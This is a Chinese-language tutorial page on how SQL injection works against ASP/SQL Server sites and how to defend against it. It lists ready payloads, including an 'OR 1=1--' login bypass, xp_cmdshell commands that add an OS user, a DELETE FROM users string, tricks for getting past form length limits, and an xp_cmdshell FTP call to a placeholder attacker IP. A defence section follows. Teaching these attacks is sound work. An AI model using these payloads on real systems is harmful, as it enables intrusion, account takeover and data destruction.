首頁
編程語言
C語言|JAVA編程
Python編程
網頁編程
ASP編程|PHP編程
JSP編程
數據庫
MYSQL數據庫|SqlServer數據庫
Oracle數據庫|DB2數據庫
您现在的位置: 程式碼之家 >> 數據庫知識 >  >> SQL Server 資料庫 >> 關於SqlServer

SQL Injection 攻擊原理與防範完整指南

     編輯:關於SqlServer

前言

SQL 注入 是 Web 應用程式最嚴重的安全風險之一。本文從基礎程式錯誤、注入原理、實際攻擊載具、繞過長度限制、到完整防禦對策逐層解析。

常見程式錯誤

1. .bak 備份檔洩露原始碼

編輯器 (EditPlus、UltraEdit) 自動產生 .bak,若未刪除部署至網站,攻擊者可直接下載 config.asp.bak 取得連線字串、密碼。

對策:關閉自動備份或部署前刪除所有 .bak。

2. 身分驗證被繞過

受保護頁面 (如 manage.asp) 未重複驗證 Session,攻擊者直接造訪 URL 即可進入。

對策:每頁檢查 Session("login") = "ok",否則導向登入頁。

SQL Injection 核心原理

輸入未經過濾直接拼接 SQL 字串:

sql = "SELECT * FROM users WHERE name='" & name & "' AND pwd='" & pwd & "'"

經典攻擊載具

輸入欄位攻擊字串產生 SQL效果
nameadmin' OR 1=1--... name='admin' OR 1=1--' AND pwd='xxx'繞過密碼驗證,以 admin 登入
nameadmin'; EXEC sp_addlogin 'hacker'--執行系統預存程序新增登入需 sa 權限
nameadmin'; EXEC xp_cmdshell 'net user hacker 123 /add'--執行 OS 命令新增系統帳號需 sa 權限,極高風險
nameadmin'; DELETE FROM users--刪除所有使用者資料資料破壞

繞過前端長度限制

  1. 本地修改表單:另存網頁為本地 .htm,修改 maxlength 或 action 指向原站,本地提交。
  2. 註冊表右鍵選單擴充:匯入 .reg 註冊右鍵選單「給我加大」,點擊輸入框即可移除長度限制。

判斷資料庫連線權限

-- 嘗試 FTP 連回攻擊者 IP,若成功代表具備 sa/xp_cmdshell 權限
name = 'admin'; EXEC xp_cmdshell 'ftp attacker_ip'--

完整防禦策略

  1. 參數化查詢 / 預存程序:Command.Parameters.Add("@name", name),徹底分離代碼與資料。
  2. 最小權限原則:Web 應用使用專用低權限帳號,嚴禁 sa。
  3. 輸入驗證與白名單:限制長度、字元集、格式 (正則表達式)。
  4. 錯誤訊息不外洩:自訂錯誤頁,隱藏 SQL 例外細節。
  5. WAF / 入侵偵測:部署 Web 應用防火牆攔截可疑載具。
  6. 定期代碼審計與滲透測試:發現潛在注入點。
  7. 資料庫層面防護:停用 xp_cmdshell、sp_OA 等高危擴展程序;啟用 sp_configure 'show advanced options', 0。

結語

SQL Injection 成因在於「資料當成代碼執行」。參數化查詢是根本解法,配合最小權限、輸入驗證、錯誤隱藏、WAF 多層防禦,才能有效降低風險。

  1. 上一篇文章:
  2. 下一篇文章:
Copyright © 程式碼之家 All Rights Reserved